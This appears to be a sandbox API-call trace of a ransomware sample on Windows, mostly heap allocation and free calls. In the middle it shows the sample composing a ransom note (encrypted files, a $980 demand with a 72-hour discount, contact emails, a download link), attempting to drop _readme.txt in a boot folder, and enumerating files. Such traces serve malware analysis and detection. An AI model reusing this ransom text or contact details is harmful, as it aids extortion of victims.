0x676ab00 [0117.035] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.035] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.036] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.036] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.036] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.036] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.036] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.036] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.036] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.036] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.036] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.036] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.036] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.036] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.036] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.036] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.036] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.036] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.036] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.036] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.036] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0xc46) returned 0x61eeac0 [0117.036] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.036] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.036] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.036] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.036] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.036] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.036] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.036] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.036] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x860) returned 0x61eeac0 [0117.036] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.036] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.036] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.036] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x860) returned 0x61eeac0 [0117.037] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.037] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.037] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.037] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.037] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.037] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.037] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.037] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.037] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.037] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.037] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.037] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.037] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0xc46) returned 0x61eeac0 [0117.037] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.037] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.037] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.037] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.037] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x840) returned 0x676ab00 [0117.037] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.037] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.037] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.037] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x840) returned 0x676ab00 [0117.037] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.037] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.037] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.037] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.037] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.037] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.037] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.037] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.037] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.037] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.038] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.038] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.038] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.038] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.038] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.038] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.038] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.038] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.038] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.038] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.038] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.038] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.038] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.038] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.038] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.038] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.038] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.038] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.038] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.038] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.038] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.038] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.038] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0xc46) returned 0x61eeac0 [0117.038] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.038] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.038] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.038] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.038] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.038] PathFindFileNameW (pszPath="C:\\Boot\\de-DE\\") returned="de-DE\\" [0117.038] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.039] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0117.039] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0117.039] PathFindFileNameW (pszPath="") returned="" [0117.039] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.039] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x757a0000 [0117.039] GetProcAddress (hModule=0x757a0000, lpProcName="SHGetFolderPathW") returned 0x75825708 [0117.039] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x800) returned 0x61eeac0 [0117.039] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x61eeac0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0117.039] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x810) returned 0x676ab00 [0117.039] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.039] FreeLibrary (hLibModule=0x757a0000) returned 1 [0117.039] PathAppendW (in: pszPath="C:\\Boot\\de-DE\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\de-DE\\_readme.txt") returned 1 [0117.039] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676b388 [0117.039] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.039] PathFileExistsW (pszPath="C:\\Boot\\de-DE\\_readme.txt") returned 0 [0117.040] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x7d00) returned 0x6771170 [0117.040] lstrcpyW (in: lpString1=0x6771170, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg" [0117.040] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg", lpString2="5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN" [0117.040] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676bc10 [0117.040] CreateFileW (lpFileName="C:\\Boot\\de-DE\\_readme.txt" (normalized: "c:\\boot\\de-de\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0117.041] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676bc10 | out: hHeap=0x35b0000) returned 1 [0117.041] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6771170 | out: hHeap=0x35b0000) returned 1 [0117.041] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.041] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.041] FindFirstFileW (in: lpFileName="C:\\Boot\\de-DE\\*", lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6183848 [0117.041] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.041] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0117.041] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8132526, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16640, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0117.041] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8132526, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16640, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0117.041] FindClose (in: hFindFile=0x6183848 | out: hFindFile=0x6183848) returned 1 [0117.041] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.041] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6164fa0 | out: hHeap=0x35b0000) returned 1 [0117.041] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6164fa0 [0117.041] PeekMessageW (in: lpMsg=0x6a5fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5fb74) returned 0 [0117.041] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.041] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676b388 [0117.041] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.041] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.041] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.042] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676b388 [0117.042] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.042] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.042] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.042] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676b388 [0117.042] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.042] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.042] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.042] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676b388 [0117.042] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.042] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.042] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.042] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676b388 [0117.042] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.042] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.042] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.042] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x840) returned 0x676b388 [0117.042] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.042] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.042] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.042] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676b388 [0117.042] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0xc2e) returned 0x61eeac0 [0117.042] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.042] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.042] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.042] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.042] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676b388 [0117.042] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.042] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.042] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.042] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x840) returned 0x676b388 [0117.043] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.043] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.043] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.043] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x860) returned 0x61eeac0 [0117.043] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.043] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.043] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.043] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x860) returned 0x61eeac0 [0117.043] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.043] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.043] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.043] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676b388 [0117.043] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.043] HeapFree (in: 